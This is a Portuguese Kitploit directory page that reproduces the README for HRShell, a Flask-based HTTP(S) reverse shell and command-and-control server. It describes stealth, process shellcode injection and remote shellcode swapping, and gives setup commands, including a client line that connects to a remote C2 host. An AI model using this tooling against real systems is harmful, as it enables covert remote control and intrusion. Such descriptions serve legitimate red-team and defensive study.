Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
HRShell — HRShell é um reverse shell HTTPS/HTTP construído com flask. É um servidor C2 avançado com muitos recursos e capacidades. | Kitploit
Ferramentas/GitHubGitHub/chrispetrou/hrshell
Ferramentas de Criptografia/DescriptografiaExploraçãoEngenharia ReversaShellcodePós-ExploraçãoSegurança WebTestes de PenetraçãoComando e ControleRed TeamingDesenvolvimento de PayloadsArchived
GitHub
24869há 4 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
chrispetrou/hrshell

HRShell

HRShell é um reverse shell HTTPS/HTTP construído com flask. É um servidor C2 avançado com muitos recursos e capacidades.

Ver Repositório
HRShell: Um Reverse Shell HTTP(S) avançado construído com Flask

GPLv3 license version Known Vulnerabilities



HRShell é um reverse shell HTTPS/HTTP construído com Flask e é compatível com python 3.x. O client.py foi testado com sucesso em:

  • Linux ubuntu 18.04 LTS, Kali Linux 2019.3
  • macOS Mojave/Catalina
  • Windows 7/10

enquanto o server.py é compatível com sistemas Unix (suporte para Windows em breve...)

Features

  • É furtivo
  • Suporte a TLS 🔑
    • Usando certificados on-the-fly ou
    • Especificando um par cert/key (mais detalhes abaixo...)
  • Injeção de shellcode 💉 (mais detalhes abaixo...)
    • Injeção de shellcode em uma thread/processo gerado do processo atual em execução
      • Plataformas suportadas até agora:
        • Windows x86
        • Unix x86
        • Unix x64
    • ou injeção de shellcode em outro processo (migrate <PID>) especificando seu PID
      • Plataformas suportadas até agora:
        • Windows x86
        • Windows x64
  • Shellcode pode ser definido/modificado em tempo real a partir do servidor (mais detalhes abaixo...)
  • Suporte a proxy no cliente.
  • Navegação em diretórios (comando cd e variantes).
  • Comando history interativo disponível em sistemas Unix.
  • Comandos download/upload/screenshot/hex disponíveis.
  • Pipelining (|) e comandos encadeados (;) são suportados
  • Suporte para todos os comandos não interativos (como gdb, top etc...)
  • O servidor é capaz de HTTP e HTTPS.
  • Ele vem com dois servidores embutidos 🌐 até agora... flask built-in e tornado-WSGI, enquanto também é compatível com outros servidores de produção como e .

*Para mudanças de versão, confira CHANGELOG.

Details


Furtivo :shipit:

HRShell é furtivo pois usa o protocolo HTTP(S) como método de comunicação entre cliente e servidor. Além disso, quando TLS está em uso, o tráfego também é criptografado. Além disso, se o CERT não estiver codificado manualmente no lado do cliente (o que é uma opção viável) e o comando upload não for usado, então o client.py não toca no disco.

TLS 🔑

Server-side: A menos que a opção --http seja especificada, por padrão o server.py é HTTPS usando certificados on-the-fly, já que certificados on-the-fly são uma funcionalidade embutida do Flask. Mas se a opção -s tornado for especificada para fazer o servidor usar TLS, as opções --cert e --key devem ser especificadas como a seguir:

root@kitploit:~
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem

Ou podem ser usados certificados "reais" ou outra maneira de gerar um par cert/key é, por exemplo, usando mkcert ou openssl diretamente assim:

root@kitploit:~
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

Um par cert/key também pode ser usado com o flask-server:

root@kitploit:~
python server.py --cert /path/cert.pem --key /path/key.pem

⚠️ Se o servidor estiver usando TLS, por design o cliente não pode usar http://... para conectar ao servidor, mas deve usar explicitamente https.

Client-side: Por padrão, a verificação SSL do cliente está desabilitada, a menos que:

  • o parâmetro --cert seja especificado, por exemplo:
    root@kitploit:~
    python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
    
  • ou a variável CERT, em vez do valor padrão None, seja definida previamente com um certificado válido, por exemplo:
    root@kitploit:~
    CERT = """
    -----BEGIN CERTIFICATE-----
    MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
    BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
    VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
    ...
    -----END CERTIFICATE-----
    """
    
    Nesse caso, o client.py tentará criar um arquivo oculto .cert.pem em tempo real e o usará como alternativa.

⚠️ O fato de a verificação SSL estar desabilitada por padrão no cliente não significa que o TLS também está desabilitado, o TLS será ativado se o servidor o usar - então o TLS depende completamente do servidor. A opção --cert no cliente está lá apenas como uma forma alternativa de o servidor-cliente ter uma sessão criptografada e é só.

Shellcode injection 💉

Existem dois "modos" de injeção de shellcode usando os dois comandos a seguir respectivamente:

  1. migrate <PID>: Usando este comando podemos injetar shellcode no espaço de memória de outro processo especificando seu PID. Por enquanto, este comando só pode ser aplicado em plataformas Windows x86/x64!
  1. inject shellcode: Usando este comando, uma nova thread (ou processo gerado em sistemas unix) do nosso processo atual é criada e a injeção de shellcode ocorre em seu espaço de memória. Como resultado, nosso shell HTTP(S) não é afetado pela injeção. As plataformas onde este comando pode ser aplicado são: Unix x86/x64, Windows x86!
Notas
  • Caso a injeção ocorra em um processo, as permissões do processo desempenham um papel muito importante. Nem sempre é possível injetar em qualquer processo devido à falta de privilégios adequados.

Definir/Modificar shellcode

Há duas maneiras de especificar/definir qual tipo de shellcode você deseja que o cliente execute:

  • Pré-definir a variável shellcode no script client.py para ser um shellcode válido ou
  • Usar o comando set shellcode <shellcode-id> para fazer isso em tempo real. Com este comando, você pode atualizar seu shellcode no lado do cliente a partir do servidor quantas vezes quiser!

A primeira maneira é bastante direta. No entanto, para usar a segunda e mais conveniente (já que você também pode modificar um shellcode já especificado), você precisa configurar o script shellcodes/utils.py para que ele contenha o(s) shellcode(s) de sua escolha. O script contém um exemplo de como fazer isso.

💡 Você pode modificar/atualizar o script shellcodes/utils.py mesmo depois de ter iniciado o server.py quantas vezes quiser, pois o server.py usará dinamicamente a versão mais atualizada/recente. Dessa forma, você pode definir e modificar shellcodes em tempo real...

Comandos disponíveis:

Comandos especiais:

Qualquer outro comando é suportado se não for interativo, por exemplo, gdb, top etc... Além disso, digitando python server.py -h ou python client.py -h você pode obter informações sobre os argumentos disponíveis do servidor e do cliente.

Nota: Se um cliente estiver conectado ao servidor e quisermos encerrar o servidor, antes de pressionar CTRL+C, temos que fechar a conexão usando o comando exit.

Criando comandos personalizados

Lado do cliente:

Para criar um comando personalizado, geralmente:

  • uma regra regex que descreva o comando deve ser definida no lado do cliente
  • o código para lidar com esse comando deve ser adicionado como uma declaração elif também no lado do cliente.

Lado do servidor:

Se o comando exigir a existência de um novo endpoint no lado do servidor, então:

  • para definir o endpoint:
    root@kitploit:~
    @app.route('/custom_endpoint/<arg>')
    def custom_endpoint(arg):
        """
        documentation if needed
        """
        ...
        return ...
    
  • então edite handleGET() para redirecionar o cliente para esse endpoint:
    root@kitploit:~
    @app.route('/')
    def handleGET():
        ...
        return redirect(url_for('custom_endpoint',
            arg=...)
            )
    
  • faça as edições apropriadas em handlePOST() para lidar com a apresentação dos resultados.

Argumentos do Script

Ambos os scripts (server.py e client.py) podem ser personalizados através de argumentos:

server.py

root@kitploit:~
$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]

server.py: An HTTP(S) reverse-shell server with advanced features.

arguments:
  -h, --help      show this help message and exit
  -s , --server   Specify the HTTP(S) server to use (default: flask).
  -c , --client   Accept connections only from the specified client/IP.
  --host          Specify the IP to use (default: 0.0.0.0).
  -p , --port     Specify a port to use (default: 5000).
  --http          Disable TLS and use HTTP instead.
  --cert          Specify a certificate to use (default: None).
  --key           Specify the corresponding private key to use (default: None).

client.py

root@kitploit:~
$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]

client.py: An HTTP(S) client with advanced features.

arguments:
  -h, --help      show this help message and exit
  -s , --server   Specify an HTTP(S) server to connect to.
  -c , --cert     Specify a certificate to use.
  -p , --proxy    Specify a proxy to use [form: host:port]

📦 Requisitos:

Para instalar os requisitos do servidor:

root@kitploit:~
pip install -r requirements.txt --upgrade --user

📌 TODO

  • Adicionar mais comandos e funcionalidades.
  • Corrigir possíveis bugs.

💭 Contribuições e Feedback

Feedbacks e contribuições são bem-vindos. Se você encontrar algum bug ou tiver uma solicitação de funcionalidade, sinta-se à vontade para abrir uma issue, e assim que eu revisar, tentarei corrigi-la.

Disclaimer

Esta ferramenta é apenas para fins de teste e acadêmicos e só pode ser usada onde houver consentimento estrito. Não a use para fins ilegais! É de responsabilidade do usuário final obedecer todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem nenhuma responsabilidade e não são responsáveis por qualquer uso indevido ou dano causado por esta ferramenta e software em geral.

Créditos e Referências

  • Seitz J. Gray Hat Python: Python programming for hackers and reverse engineers. no starch press; 2009 Apr 15.
  • PyShellCode
  • Um ótimo artigo encontrado aqui.
  • A função hexdump do cliente foi retirada deste ótimo gist.
  • O logotipo do HRShell foi feito com fontmeme.com!

Licença

Este projeto está licenciado sob a licença GPLv3 - consulte o arquivo LICENSE para mais detalhes.

Baixar ferramenta
gunicorn
Nginx
  • Tanto server.py quanto client.py são facilmente extensíveis.
  • Como a maior parte da funcionalidade vem do design de endpoints do servidor, é muito fácil escrever um cliente em qualquer outra linguagem por exemplo, java, GO etc...